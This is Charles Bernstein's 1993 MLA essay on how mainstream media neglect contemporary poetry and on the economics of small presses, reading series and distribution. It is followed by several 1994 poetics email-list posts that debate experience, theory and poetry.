Imagine that all the nationally circulated magazines and all the trade presses and all the university presses in the United States stopped publishing or reviewing poetry. New poetry in the United States would hardly feel the blow. But not because contemporary poetry is marginal to the culture. Quite the contrary, it is these publishing institutions that have made themselves marginal to our cultural life in poetry. As it is, the poetry publishing and reviewing practices of these major media institutions do a disservice to new poetry by their sins of commission as much as omission -- that is, pretending to cover what they actually cover up; as if you could bury poetry alive. In consistently

acknowledging only the blandest of contemporary verse practices, these institutions provide the perfect alibi for their evasion of poetry; for if what is published and reviewed by these institutions is the best that poetry has to offer, then, indeed, there would be little reason to attend to poetry, except for those looking for a last remnant of a genteel society verse, where, for example, the editor of The New York Times Book Review can swoon over watered-down Dante on her way to late-night suppers with wealthy lovers of the idea of verse, as she gushed in an article last spring. Poetry, reduced to souvenirs of what was once supposed to be prestige goods, quickly gets sliced for overaccessorizing, at least if the stuff actually talks back. If poetry has largely disappeared from the national media, nostalgia for poetry, and the lives of troubled poets, has a secure place. One of the cliches of the intellectual- and artist-bashing so fashionable in our leading journals of opinion is that there are no more "public intellectuals." The truth of the matter is that writing of great breadth and depth, and of enormous significance for the public, flourishes, but that the dominant media institutions -- commercial television and radio, the trade presses, and the nationally circulated magazines (including the culturally upscale periodicals) -- have blacklisted this material. Intellectuals and artists committed to the public interest exist in substantial numbers. Their crime is not a lack of accessibility but a refusal to submit to marketplace agendas: the reductive simplifications of conventional forms of representation; the avoidance of formal and thematic complexity; and the fashion ethos of measuring success by sales and value by celebrity. The public sphere is constantly degraded by its conflation with mass scale since public space is accessible principally through particular and discrete locations. Any of us teaching college will have ample proof of the frightening lack of cultural information, both historical and contemporary, of even the most searching of our new students. These individuals have been subjected to cultural asphyxiation administered not only by the barrage of network television or MTV, but also, more poignantly, by the self-appointed keepers of the cultural flame, who are unwilling to provide powerful alternative programming, prefer to promote, as a habit and a rule, a sanitized and denatured version of contemporary art, debunking at every turn the new and untried, the edgy or the cutting, the odd or unnerving; --that is those works of contemporary culture that give it life. Could I possibly be saying that the crisis of American culture is that there is inadequate support and distribution of difficult and challenging new art? Does a tire tire without air, an elephant blow its horn in the dark, a baby sigh when the glass door shatters its face? The paucity of public funding for the arts has done irreparable damage to the body politic. Arts funding is as important as funding for public education. It's time for our federal, state and local governments to consider linking arts funding with education budgets: a percent for the arts! & if that seems farfetched, it goes to show how far afield our educational priorities are.

Every dollar spent on the development and distribution of new art will save thousands of dollars in lost cultural productivity over the next fifty years.

At the community ("free") clinic I worked for in the early 1970s we sold T- shirts that said, "Healthcare is for people not profit." Not that we were ahead of our time. Times are just behind where they could be. Whenever I go into a Barnes & Ignoble Superstore or Waldaltonsbooks (If we don't have it it must be literature!), I'm reminded that our slogan for healthcare applies to poetry too. Does anybody wonder anymore what the effects will be of the consolidation of publishing and book distribution companies into large conglomerates? Let them read cake. This month's bestseller list contains the perfect symbol for the current state of affairs as the two top slots are occupied, in effect, by the publicity machines designed to promote "cultural product". What sells, in this purest form of hype-omancy is the apparatus of publicity itself: for here we have self-consuming artifacts par excellence -- no external referent need apply. Meanwhile, in the upscale journals that condescend to the truth bared by H. Stern and R. Limbaugh, no book has been more attended to than a memoir by one of the originators of this phenomenon, Willie Morris, formally editor of Harper's: for what better subject for promotion than promotion?

There is a world outside this semblance of culture. In poetry, its institutions go by the name of the small press and the reading series. Along with small press magazines and books, poetry reading series are the most vital site of poetic activity in North America. Readings provide a crucial place for poets not only to read their new work, but also to meet with each other and exchange ideas. Readings provide an intimately local grounding for poetry and are commonly the basis for the many regional scenes and groups and constellations that mark the vitality of the artform. Despite the fundamental importance of readings in the creation of North American poetry over the past forty years, very little attention has been given to this medium either in the press or by scholars and critics. While reading series are more concentrated in New York and the Bay area, many American cities have long-running local reading series. The best source of information about readings in New York City area is The New York City Poetry Calendar, which has been publishing a monthly broadside of poetry events since 1977 (60 E. 4th St #21, New York, NY 10003). The calendar lists about 300 different readings each month, has a printrun of 7500 and a readership of well over 10,000. Poetry readings range from small bar and cafe and book store and community center series, with audiences ranging from ten to a hundred to poetry center readings that can draw from twenty to several hundred people. Community reading series differ in several crucial ways from university- sponsored series. These series often offer a forum for new and unpublished local poets through "open mike" and scheduled readings. The organizers of these series rarely receive any compensation for their work --

and often can run a series for incredibly little money: the money from the door going to the poets plus a few hundred dollars a year for publicity. State and local arts agencies will sometimes provide such series up to a few thousand dollars for featured readers, which allows for some out-of-town poets to get travel money or a small fee of fifty to a few hundred dollars. Poets & Writers, Inc., is particularly helpful in these contexts, providing matching money for poets's fees. A community reading series can run a year of readings on less than many institutions spend on a single cultural event or speaker. That effects the spirit of the event. The atmosphere at a local reading series is often charged and interactive. In contrast, university series often suffer from a stifling formality. Unfortunately, English departments have been slow to include and support local readings series in their areas -- despite the fact that these series can often provide a lively point of entry into poetry for students new to its forms and formats. Despite the striking vitality of poetry readings, readings are never reviewed in any of the nation's daily or weekly newspapers, even though these papers routinely review theater and dance and art events whose scale is comparable. I suspect the reason is that cultural editors, like most literary critics and scholars, wrongly assume that the book is the only significant site of a poet's work. Contemporary North American poetry is realized as significantly in its performances in live readings as it is in its printed forms. Critical response to contemporary poems that fail to account for its performance are, for the most part, inadequate. For the scholar, the audio archive of poet's performance has become as fundamental as manuscripts, publication history, and letters; indeed, it is equal in importance only to the published text. Yet studies of the distinctive features of the poem-in-performance have been rare. In contrast, the drift of much literary criticism of the past decade has been away from the auditory and performative -- and therefore material -- aspects of the poem, partly because of the prevalent notion, commonly attributed to Saussure, that the sound structure of language is relatively arbitrary. In contrast, cognitive linguists such as Reuven Tsur, following Roman Jakobson, have recently emphasized research that demonstrates the expressiveness of sound patterns, at the same time, the "phonotext" -- or acoustic dimension -- of the poem has begun to receive some scholarly attention. This work, combined with the range of new work on performance theory, suggest a crucial new direction for literary studies.

The past thirty years has been a time of enormous growth of small press publishers. According to a Loss Pequeno Glazier's statistics in Small Press: An Annotated Guide, the number of magazines listed in Len Fulton's International Directory of Little Magazines & Small Presses has gone from 250 mostly poetry magazines in 1965 to 700 in 1966 to 2,000 magazines in 140 categories in 1976 to 4,800 magazines in 1990, of which about 40 percent were literary. The

importance of the small press for poetry is not restricted to any aesthetic or indeed to any segment of poets. According to a recent study by Mary Briggs, independent noncommercial presses are the major source of exposure for all poets, young and old, prize winning or not. The staple of the independent literary press is the single-author poetry collection. Douglas Messerli, publisher of Sun & Moon Press, a high-end small press comparable to Black Sparrow, New Directions, and Dalkey Archives, provided me with representative publication information for a 100-page poetry collection: Print-runs at Sun & Moon go from 1000 to 2000, depending, of course, on likely sales. Messerli notes that print-runs of less than 1000 drive the unit cost up too high and he encourages other literary presses to print a minimum of 1000 copies if at all possible. Sun & Moon titles are well-produced, perfectbound, and offset with full color covers. The printing bill for this runs from $2600 to $4000 as you go from 1000 to 2000 copies. Messerli estimates the cost of editing a 100-page poetry book at $300: this covers all the work between the press receiving a manuscript and sending it to a designer (including any copyeding and proofreading that may be necessary as well as preparation of front and back matter and cover copy). Typesetting is already a rarity for presses like Sun & Moon, with authors expected to provide computer disks wherever possible. Formatting these disks (converting them into type following specifications of the book designer) can cost anywhere from $300 to $1000, one of those variable labor costs typical of small press operations. The book designer will charge about $500. The cover will cost an additional $100 for photographic reproduction or permission fees or both. Publicity costs must also be accounted for, even if, as at Sun & Moon, no advertising is involved. Messerli estimates publicity costs at $1500, which covers the cost of something like 100 free copies distributed to reviewers, postage and packing, mailings and catalog pages, etc. The total cash outlay here, then, for 2000 copies, is around $6800. (For the sake of this discussion, overhead costs -- rent, salaries, office equipment, phone bills, etc -- are not included; such costs typically are estimated at about 30 percent more than the cost of production). If all goes well, Sun & Moon will sell out of its print run in two years. Let's say Sun & Moon prints 2000 copies of the book and charges $10 retail; let's also say all the books were sold. That makes a gross of $20,000. Subtract from this a 50 percent wholesale discount (that is, most bookstores will pay $5 for the book) and that leaves $10,000. Subtract from this the 24 percent that Sun & Moon's distributor takes (and remember that most small presses are too small to secure a distributor with a professional sales force). That leaves $7600. Now last, but not to be totally forgotten, especially since I am a Sun & Moon author, the poet's royalty; typically no advance would be paid and the author would receive 10 percent of this last figure, or $760. That leaves $6840 return to the publisher on a cash cost of about $7000. As James Sherry noted years ago in

L=A=N=G=U=A=G=E: a piece of paper with nothing on it has a definite economic value. If you print a poem on it, this value is lost. Here we have a vivid example of what George Bataille has called general economy, an economy of loss rather than accumulation. Poetry is a negative -- or let's just say poetic -- economy. But of course I've stacked the decks a bit. Many small presses will eat a number of costs I've listed. Copyediting, proofreading and design costs may be absorbed in the overhead if they are done by the editor-cum-publisher, proofreader, publicity department, and shipper. Formatting and production are commonly done on in-house computers. But these costs cannot be absorbed away -- 600 dpi laser printers and late-night "poofreading" can cause some serious malabsorption problems for which your gastroenterologist has no cure. Then again, if a book generates enough of an audience to require reprinting, modest profits are possible, allowing the publication of other, possibly less popular, works. The situation for the independent literary magazines is similar to presses, and indeed many small presses started as little magazines. o.blek, a beautifully produced magazine edited by Peter Gizzi and Connel McGrath, was started on borrowed money in 1987. One thousand copies of the first 148-page issue cost $1000 for typesetting, $2700 for the printing, and $400 for postage. That cost has remained relatively consistent, although a switch to desktop halved the typesetting cost. That first issue, with a cover price of $5.50 (and with the distributor taking 55 percent), sold out in a year and a half. After one year, o.blek had about 75 subscribers; after six years, that number is 275 (a figure that does not include libraries, who mostly subscribe through jobbers). o.blek's most ambitious publication (edited by Juliana Spahr and Gizzi) is just out: 1500 copies of a two-volume set, 600 pages in all, collecting poems and statements of poetics from mostly younger poets, many of whom participated in the Writing from the New Coast Festival held at the University at Buffalo last spring. Compare this to Sulfur, edited by Clayton Eshleman, who reports that there were 1,000 copies printed of the first issue in 1981 -- "maybe 50 subscribers at the time the issue was published, with perhaps 300 to 400 going out to stores. Now, 2000 copies per issue; around 700 subscribers, with 800 to 900 copies going to stores." Of course, many small presses and magazines produce more modest publications than Sun & Moon, Sulfur or o.blek. Indeed, the heart of the small press movement is the supercheap magazine or chapbook, allowing just about anyone to be a publisher or editor. In this world, marketplace values are truly turned upsidedown, since many readers of the poetry small press feel the more modest the production, the greater the integrity of the content. There is no question than many of the best poetry magazines of the postwar period have been produced by the cheapest available methods. In the 1950s, the "mimeo revolution" showed up the stuffy pretensions of the established, letterpress literary quarterlies, not only with their greater literary imagination, but also with innovative designs

and graphics. In 1965, 23 percent of little presses were mimeo, 31 percent offset, 46 percent letterpress, according to Fulton's Directory. By 1973, offset had jumped to 69 percent, with letterpress at 18 percent, and mimeo only 13 percent. As Loss Glazier notes, the mimeo in "the mimeo revolution" is more a metaphor for inexpensive means of reproduction than a commitment to any one technology. Indeed, poetry's use of technology often has a wryly aversive quality. For example, as offset began to dominate the printing industry in the early 1970s, letterpresses became very cheap to acquire, so that presses like Lyn Hejinian's Tuumba and Keith and Rosmarie Waldrop's Burning Deck could produce books with little other cash expense than paper costs and mailing, given the editors willingness to spend hundreds of hours to handset every letter and often enough handfeed each page. In the metaphoric sense, then, the mimeo revolution is very much alive in the 1990s, with some of the best poetry magazines today -- such as Abacus, Witz, Mirage #4 (Periodical), The Impercipient, Interruptions, lower limit speech, Letterbox, Situation, lyric& and Object -- consisting of little more than a staple or two holding together from 16 to 60 sheets of paper that have been xeroxed in editions of 50 or 100 or 150. Yet the new mimeo revolution for poetry is surely electronic. Because the critical audience of poets, mostly unaffiliated with academic institutions, does not yet have access to the internet, attempts to create on-line poetry magazines remain preliminary. & technical problems abound; computers actually make reading and writing harder than previous technologies -- but it's just the difficulties that make for poetic interest. Still, the potential is there and a few editors have started to propose some basic formats for creating virtual uncommunities. In 1993, the first three electronic poetry magazines I know about were founded -- We Magazine, collectively edited in Santa Cruz, the Bay Area, New York City, and Albany (c/o [redacted]) -- which in its active periods sends out one short poem per post to a list of subscribers; Grist, edited by John Fowler ([redacted]), which has produced two full-length issues so far; and Rift, edited by Ken Sherwood and Loss Glazier ([redacted]), which produced an ambitious array of material for its first issue a few months ago: the main body of the magazine featuring poems by 16 poets (the equivalent of 50 pages), plus a series of associated files of translations, poetics, a set of variations on a poem, and a chapbook. Also online is Luigi-Bob Drake's, and friends', Taproot Reviews ([redacted]), an heroic effort to review hundreds of small magazines and chapbooks committed to "experimental language art & poetry." Experiments with poetry and poetics "listserve" discussion groups have also begun, with Joe Amato's pioneering Nous Refuse ([redacted]), but as yet the intriguing mix of newsletter, group letter, and bulletin board has not yet found its place. It seems certain, however, that the net will be a crucial site for the distribution of works of poetry, especially out-of-print works, as well as for information on obtaining books and magazines, and, I suspect, for long-term local, national and

international exchanges of ideas and work in progress. The new computer technology -- both desktop publishing and electronic publishing -- has radically altered the material, specifically visual, presentation of text. No doubt a new aesthetic will emerge. But at this point, the absence of visual aesthetics in the production of many desktop magazines is discouraging. Simply having access to a laser printer does not mean an editor has any idea how to design type. Ironically, many of the typewriter and mimeo publications of the past thirty years were visually richer than some of the more poorly designed desktop products. In the case of e-space, editors have, as of now, little control over the visual appearance of the text.

Distribution remains the most serious problem for the small press and one of the least understood parts of the process. While larger independent presses have distributors with sales representatives to visit bookstores, most small presses must rely on mailing lists and informal contacts to circulate their books and magazines. Small Press Distribution (1814 San Pablo Avenue, Berkeley, CA 94702) is the most important source for alterative press titles published in the United States. With the recent demise of over half-a-dozen alternative press distributors, it is also the "sole remaining noncommercial literary book distributor left in the entire country." SPD, which must take 55 percent of the retail price of a book (bookstores will typically take 40 percent or more of this), now distributes about 52,000 books a year, from over 350 presses, with net sales of $360,000. Their quarterly catalogs and annual complete catalogs are fundamental resources. From 1980 to 1993, Segue Distributing published an annual catalog that offered a curated selection of small press titles that could be ordered through a central address. Segue, unlike most distributors, was able to articulate an aesthetic commitment with its choices, as well as being able to include presses and magazines too small to be handled by other distributors. In addition, Segue included selections of small press books and magazines from the UK, as well as New Zealand and Australia. Segue Distribution was discontinued this year after losing its government grant support. I suspect that in the future activities such as Segue's will best be handled through electronic bulletin boards or similar formats. One of Segue's most useful assets is its mailing list, which it makes available to affiliated presses. The mailing list keeps track of a shifting community of readers, with special attention to the local audience who wishes to receive notices of readings as well as the national and international audience who wishes to receive notices of book and magazine publications. I say community because audience is too passive a term to describe this matrix and because there is a tendency to speak of community when referring to a small press readership or, especially, the local "scene" for a reading series or a magazine. But I resist the term community as well, since it is more accurate to think of

constellations of active readers interested in exchange but not necessarily collectivity. While much distribution of poetry takes place in the mail, we all owe a great debt to the few remaining independent bookstores that make an effort to keep in stock a full range of poetry titles. There is no substitute for flipping through new books and magazines in a bookstore, and such bookstores themselves are crucial sites of whatever a poetry community might be. We also owe a debt to those publications that are committed to reviewing and discussing small press publications, since one of the most involving aspects of the small press is the intensity of interchange that takes place in reviews, letters, correspondence and conversation. This is what makes The American Book Review so much livelier than The New York Review of Books. At their best, reviews and essays in the alternative poetry press are less concerned with evaluation than with interaction, participation and partisanship; in this respect, the prose of the small presses offer a refreshing alternative to the evaluative focus of newspaper and mainstream magazine reviews as well as the often stifling framelock of academic discourse. Indeed, the literary small press provides a forum not just for innovation in poetry but equally for innovation in prose, in the process demonstrating that a free press means giving writers stylistic freedom, not simply the freedom to express their opinions in mandated forms.

The power of our alternative institutions of poetry is their commitment to scales that allow for the flourishing of the artform, not the maximizing of the audience; to production and presentation not publicity; to exploring the known not manufacturing renown. These institutions continue, against all odds, to find value in the local, the particular, the partisan, the committed, the tiny, the peripheral, the unpopular, the eccentric, the difficult, the complex, the homely; and in the formation and reformation, dissolution and questioning, of imaginary or virtual or partial or unavowable communities and/or uncommunities.
Such alternative institutions benefit not just from the support of their readers and writers, but also from contributions from government, individuals, and foundations. Recently, such large foundations as the Lila Wallace - Readers Digest Fund have committed substantial funds to independent literary presses, but they have done so in ways that are often destructive to the culture of the institutions they propose to support. Rather than provide funds to directly support the production of books and magazines, or, indeed, editors or authors, such institutions insist on primarily funding organizational expansion, for example, by providing money to hire new staff for development, publicity, and management. While any money is welcome, the infrastructural expansion mandated by these foundations -- defended in the name of stabilizing designated organizations -- makes the small press increasingly dependent on ever larger infusions of money, in the process destroying the financial flexibility

that is the alternative press's greatest resource. By pushing the presses they fund to emulate the structures of large non-profit and for-profit institutions to which they stand in honorable structural opposition, these foundations reveal all too nakedly their commitment to the administration of culture rather than to the support of poetry. Ironically, the negative economy of poetry is one of its greatest assets for our culture in that it provides an alternative system of valuation to the bureaucratic professionalism of the academy and to the commercialism of the book industry and art world, not to mention the TV and movie industries. But the value of the alternative institutions of poetry is not just that they do not seek, or make, a profit. In that respect, they are no match for such mainstream magazines as The New Yorker, which, despite a circulation that has recently surged to 750,000, appears to be losing as much as $10 million a year (that's something like $13 per subscriber) -- an amount that could finance a good part of the annual cost of the alternative poetry presses and readings and magazines. The New Yorker's parent company, S. I. Newhouse, is apparently less concerned with profit than with cultural dominance -- legitimating the cultural product that forms the basis of its media empire; for this exercise in hegemony, circulation and publicity are more important than profit. Literature is never indifferent to its institutions. A new literature requires new institutions, and these institutions are as much a part of its aesthetic as the literary works that they weave into the social fabric. The resilience of the alternative institutions of poetry in the postwar years is one of the most powerful instances we have of the creation of value amidst its postmodern evasions. When you touch this press, you touch a person. In this sense, the work of our innovative poetries is fundamentally one of social work.

Notes

Presented at the annual meeting of the Modern Language Association on Dec. 29, 1993, in Toronto.

1. Rebecca Pepper Sinkler, "Hell Night at the 92nd Street Y," in The New York Times Book Review, 98:31 (May 9, 1993), p. 31. "For some" ("We lucky few" is the last sentences of the article) "there was to be a post-poetry spread laid on by Edwin Cohen (a businessman and patron of literature) back at his apartment at the Dakota, a Danteesque menu announced in advance: roast suckling stuffed pig stuffed with fruit, nuts, and cheese; Tuscan salami; prosciotto and polenta, white beans with fennel."

2. "The budget for the National Endowment for the Arts, which has not changed appreciably in the last 12 years, is smaller than the Department of Defense's budget for its 102 military bands," according to an article in The New York Times, 3/13/93, p. C13.

3. Rush H. Limbaugh 3d, See I Told You So (New York: Pocket Books, 1993) and Howard Stern Private Parts (New York: Simon & Schuster, 1993).

4. Loss Pequeno Glazier, Small Press: An Annotated Guide (Westport, CT: Greenwood Press, 1992), pp. 2-3.

5. Mary Biggs, A Gift that Cannot Be Refused: The Writing and Publishing of Contemporary American Poetry (Wesport, CT: Greenwoood Press, 1990); cited in Glazier, p. 38.

6. Clayton Eshleman, letter to the author, 11 January 1994. Information on Sun & Moon Press is based on an interview with Doulgas Messerli in November 1993; information on o.blek is based on an interview with Peter Gizzi in December 1993.

7. Abacus, edited by Peter Ganick (181 Edgemont Avenue, Elmwood, CT 06110) is the longest running of these magazines; in February, 1984, they published their 80th issue, Cornered Stones Split Infinites by Rosmarie Waldrop. Witz, edited by Chritopher Reiner (P.O. Box 1059, Penngrove, California 94951), is a newsletter feauturing poetics, reviews, and listings of recent publications; it is published three times a year in associaton with Avec, a magazine comparable to Sulfur and o.blek. The other magazines mentioned feature new poetry, often by younger or infrequently published poets: The Impercipient, ed. Jennifer Moxley (61 East Manning Street, Providence, RI 02906); Letterbox, ed. Scott Bentley (379 Latimer Place, Oakland, CA 94609); Mirage #4/ Period(ical), ed. Kevin Killian and Dodie Bellamy (1020 Minna, San Francisco, CA 94103); Situtation, ed. Mark Wallace; object, ed. Kim Rosenfeld and Rob Fitterman (229 Hudson Street #4, New York, NY 10013); lyric &, ed. Avery E. D. Burns (P.O. Box 640531, San Francisco, CA 91640-0531); lower limit speech, ed. A. L. Neilsen (1743 Butler Avenue #2; Los Angeles, CA 90025); Interruptions (a magazine of collaborations), ed. Tom Beckett (131 North Pearl Street, Kent, OH 44240).

8. In Febrary 1994 Grist announced its first electronic book, Gleanings: Uncollected Poems of the Fifties by David Ignatow, including many poems "published here for the first time." Cost is $25 on diskette; the text is also available online.

9. Letter, dated October 22, 1993, to affiliated publishers from Lisa Domitrovich, Executive Director, SPD.

10. During much of this period, I worked as editor of the catalog.

11. Elizabeth Kolbert, "How Tina Brown Moves Magazines," in The New York Timnes Magazine, Dec. 5, 1993, p. 87.

12. Publishing statistics are notoriously unreliable, especially when they concern the amount publishers are willing to lose -- less to obtain cultural legitimacy, I would say, than to establish cultural values. According to The New York Times (3/2/94, p. C20), Harold M. Evans, the publisher of Random House's adult trade division, told an audience at the PEN American Center that "the 29 books he published that made it on to The New York Times's 1993 list of Notable Books lost $680,000" and the eight books that "won awards from the American Library Association lost a total of $370,000." Evans went on to say that three of these books had advertising budgets of $71,000 to $87,000 each and that these books lost from $60,000 to $300,000 each. Innovative works of literature or criticism or scholarship that challenge the dominant cultural values of institutions such as Random House are not the most likely candidates to receive this type of support; yet without such subventions they stand little chance of being reviewed or recommended in The New York Times, whose reviews are closely correlated to its advertisers. The point is not that official "high" culture, just as alternative-press poetry, requires subsidies; but that a system of selection and support favors certain works over others; it is this system of selection and promotion that allows the media conglomorates to control cultural sectors that they have written off as largely unprofitable. Note, however, that the content of the selections is less important for this system of dominance than the system of selection and promotion itself, since the alternative presses can never afford to lose as much as these corporations.
It should be no surprise that it is neither the audience nor quality nor accessibility that creates official literary product, nor that much of official "high" culture is a loss leader. Advertising and promotion of targeted "loss leaders" are evidently worth the price in influencing literary and critical taste, specifically by fostering a cultural climate in which genuinely profitable products may thrive. The recent "fiction" issue of The New Yorker (June 27/July 4, 1994) is a perfect example of how that magazine goes about promoting the idea that "Only what sells has value and value is determined by the extent of the sales." The issue included a "good cop" feature on a struggling "serious" fiction writer that, while seeming to question the value system of commercial publishing, actually reinforced its claim to exclusive value. Remarkably, the piece, and indeed the whole magazine issue, systematically avoided any reference to alternative and independent presses so as to better foster the illusion (not to say comic notion) that the New York trade presses are the sole purveyors of literature. The story on the "struggling" writer emphasized that he had been praised by the Times (which, inevitably, is where the author of the profile had first heard about his work, since that's where you hear about worthwhile fiction) and had five books with HarperCollins that are neither (Si forbid!) "inaccessible or highbrow". The problem seemed to be that he was shifting from one New York trade press to another (a Disney

affiliate) and that his projected advance would be only $10,000 (nonetheless, considerably more than most literary writers in this culture receive) (pp. 48-9). The New Yorker's sell was so hard that the following "bad cop" article got right down to business. It was devoted exclusively to promoting the preeminent cultural value of the top ten books on the Times's best seller list: "They have a better ear [than nonbestselling fiction] for what we say, or try to say, or don't notice we're saying -- for the small ways in which the mind works and stumbles" (p. 80); so eat your Wheaties, kids! "Wonder Bread helps build bodies 12 ways" (& that wholewheat stuff doesn't taste as good either!) I don't think "we" can say it any better than that.

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55. Tom Mandel
Re: plumpe Denken
Wed 17 Aug 1994

It is not the primacy of experience that I treated skeptically, but the concept of experience in use in that reference to primacy, and this not in the service of anything like G. Spivak's attempt "to dethrone canonical *method* in...social production" (leave aside the fact that the term "social production" simply restates the "canonical method" as a "social" event). If it could be dethroned, one might escape the skepticism, but it is as inherent to mental processes as figure/ground or any of the other pattern-matching, template-imposing schemata upon which our little leaps rebound.

Experience is primary, but it is so not the way a prince is, but the way the people are. However one feels convinced (daily, hourly) that this quantity is debased (repeatedly), it is the only place from which anything can emerge.

Perhaps we need to go back and read Howard Fast and the early Irwin Shaw. James T. Farrell. Places where the partial could figure a whole, or if you've seen the Hawks picture "Only Angels Have Wings", which I so insisted on in my last post, you might view it against "Tarnished Angels" another flying picture this time by the great Douglas Sirk or perhaps someone would like to discuss the subject of mimesis? Has anyone read Auerbach's last-published essay, "Philology & *Weltliteratur*" which I think would provide the foundation for a telling critique of the function of theory in literature. Interestingly, it was translated by Edward Said, who may be said to grow entirely from one of Auerbach's lobes.

tom mandel

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56. Clint Burnham
Re: plumpe Denken
Wed 17 Aug 1994

Experience etc.

I'm not really sure what "experience" means when it is founded as some base of thought; I think that the Spivak quote Jed cited was just continuing Spivak's continuing skepticism about what she othertimes calls the "native informant," or the tendency to take some narrated "experience," in this case from a native or primitive "other," and treat it as authentic, etc.

& I was also puzzled by Tom Mandel's comment that "the term `social production' simply restates the `canonical method' as a `social' event." Quickly, it seems that Spivak *there* was saying (I read that book from the library a couple months ago, so I can't remember in any way the context, so I'll go by the quotation) that truths are formed or produced in what we call "the social," which means in history, in the current collective situtations. (As Bernstein's interesting essay just posted posited, the "ruling class" of American literature is obviously a collective enterprise in how it protects its own against the threats from we dweeby little xerox geeks: someone else on his panel at the MLA tried to make the claim that there was no real canon [unwittingly repeating Bernstein's "State of the Art" essay to different ends] based on his experience as a reviewer for those NYC journals everyone refers to by their initials); I lost track of my parentheses just now, but surely the emphasis on experience in Mandel's post has to do with seeking some ineffable individual basis for thought, cognition, poetry?

What if Kant had remarked that a bird flying in a flock wishes s/he were alone and free.

Aspects of Said's humanistic method may derive from Auerbach, As Aijaz Ahmad pointed out in *In Theory*, but I don't think the old philologist did much for the Palestinian people.

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57. Joseph Conte
Re: mundanity
Wed 17 Aug 1994

Everything that Charles Bernstein says of Talking Leaves bookstore is true--the place is a community treasure, and many faculty choose to order their coursebooks there instead of the capitalist UB bookstore--except for the name of the proprietor and reggae-meister, Jonathan Welch.

Charles, did you catch Melanie at the Woodstock reunion? I have often felt a phenomenal bond with the Mud People.

Joseph Conte

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58. Steve Evans
My recent experience with error
Wed 17 Aug 1994

I appreciate the care with which Tom Mandel responded to my assertions about the "porousness" of practice. As the narrator of Melville's *Pierre* writes: "If to affirm, be to expand one's isolated self; and if to deny, be to contract one's isolated self; then to respond is a suspension of all isolation." An apt motto, from a book that explores the dialectic between "identification" and "embeddeness" in chilling detail.

In fact, I only remembered the above while searching for a passage that complemented Tom's three examples, and caught something of the texture of Tom's post in general. It is this paragraph, from the chapter called "Some Philosophical Remarks":

> From these random slips, it would seem, that Pierre is
> quite conscious of much that is so anomalously hard and
> bitter in his lot, of much that is so black and terrific
> in his soul. Yet that knowing his fatal condition does
> not one whit enable him to change or better his condition.
> For in tremendous extremeties human souls are like drown-
> ing men; well enough they know there are in peril; well
> enough they know the causes of that peril; nevertheless,
> the sea is the sea, and these drowning men do drown.

Tom's model of experience is apparently one in which we are drowning always; the main exercise of mind, he implies, comes in disguising that mortal fact: "You'll never have a loosely woven engagement with anything except so's you imagine the better not to come to consciousness."

Let me counterpose a passage from Rosmarie Waldrop's *Lawn of the Excluded Middle*:

Because we use the negative as if no explanation were needed the void we cater to is, like anorexia, a ferment of halluc- inations. Here, the bird's body equals the rhthym of wing- beats which, frantic, disturb their own lack of origin, fear of falling, indigeneous grey. Static electricity. Strobe map. Gap gardening. (24; also in Messerli anth. 250)

As Waldrop's entire book shows, what Tom calls the "gap between what is true and what is not"--the only gap he allows--actually traps that engagement I was calling "loosely woven" in the ex- cluded middle.

As for the assertion that "the social world begins when you have made effective commitments and it operates among those commitments," I don't think Tom and I disagree either on the claim or on the value placed on such *social,* as against "individual," commitments. But my argument is that such commitments are not effectively sustained on the model of total absorption. To pick up Rae's lines, if you value flirting, playing dead as a way of flirting is an option. If you value flirting, a certain tradition in poetry, and anti-capitalist political and intellectual work, well, the commitments are porous enough to admit of all three projects in time. (Though anti-capitalists are on the whole inept flirts, there are exceptions.)

And, Tom, don't think I'm changing the subject.

As sidenote on the phrase, "in my experience." I despise the use of the term as a conversation stopper, as do Jed and G.C. Spivak. But having been taken to task for it, I still don't feel too rep- entant (my apologies to the theologians). I think the ghost of the public sphere that wanders the circuits of these lists is benign: private people critically debating public interests test "their experiences" in a social medium. And despite its recent vintage in geo-historical terms, the category of "my experience" is an objective one in capitalist social formations. Remember ideology is seldom *just* ideology.

There's so much else to respond to, not only in Tom's post but in the extremely interesting message Charles Alexander posted, and Charles Bernstein's article as well, but let one accident of attending both to this list and to Messerli's anthology in the past two days sufice.

Clint's noticing that "those who pose themselves against consumer culture just mean the more *apparently* commodified worlds of mass culture. (& not, then, the "consumer culture" of farmhouses, expensive cheese, and thick, handmade sweaters)" finds a direct echo in Robert Kelly's poem "Recessional," which I just read for the first time in Messerli's volume:

> Not much in this culture
> left for me. I will arise
> and go into the future,
> to the country I take it
> joggers are also trotting to
> beyond the quiche and croissants
> beyond the poignant resurrections
> each commodity promises and fails.

I see a rough grey hill there
I am suddenly determined to climb
and set a pebble down to praise
all those who came before me
knowing no more than I do of the way. (238)

↑ Index

59. Tom Mandel
Re: plumpe Denken
Wed 17 Aug 1994

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re: Clint Burnham's post, yes of course I overstated Said's relation to Auerbach -- although it was not in a "humanistic method" but a view of history that I was locating the relationship, & I think one would have to discuss this in the context of the Auerbach essay I referenced to take it any further -- I was trying to raise an interest in A's work. (By the way, I'm delighted to hear of A. Ahmad's mention of this relationship, and I'll be looking into *In Theory* which I don't know).

As to

"What if Kant had remarked that a bird flying in a flock wishes
s/he were alone and free"

well? What if? I mean I would much appreciate to hear more on this subject. The desire for solitude, so intense and ambiguous a force in Spinoza, does it really come to formal expression in Kant (as, shortly thereafter, it surely does in Kierkegaard's work)?

"the tendency to take some narrated "experience," in this case from a native or primitive "other," and treat it as authentic..."

How does one get along in life, really? Is there any way to escape belief in, commitment to, the reality of another's narrative frame? Do we exist in relationships, and do these pre-exist the critical solitude (sorry, it's a fiction, however useful) in which we make such claims as Clint is claiming Spivak makes (and can we understand what C says unless we credit *that* narrative frame?). What, on the other hand, is the very special, highly constructed, altogether test-tube situation in which we critique this "tendency to take..." ? Lets call it Situation A.

Where does poetry come from? Does it come from Situation A. Language poetry, to take an example we all in varying degrees seem to know and care about, did it come from Situation A? No thank you, it did not. And what of its force in a human life, a reader's life, does this force come from Situation A? We see in *Ketjak*, in *Oxota*, in *Agreement* that the author has refused

commitment to the authenticity of some witness or record (his/her own?)?, or is it to some alternate way of expression that commitment is refused and this refusal is or at least defines the work? These seem trivial burdens for a poet to carry who knows the world she occupies fellow-citizened by Arnaut Daniel & Dante. That...

"truths are formed or produced in what we call "the social," which means in history, in the current collective situations"

is not news, not theory, just a menu-pick among truth-version-windows. A poet's job is to figure out what such "current collective situations" are as roll in our lives, to really figure that out.

Here are a few closing words, not mine but of Mandelstam:

An artist considers his world-view a tool and an instrument, like a hammer in the hands of a stonemason, and his only reality is the work of art itself.

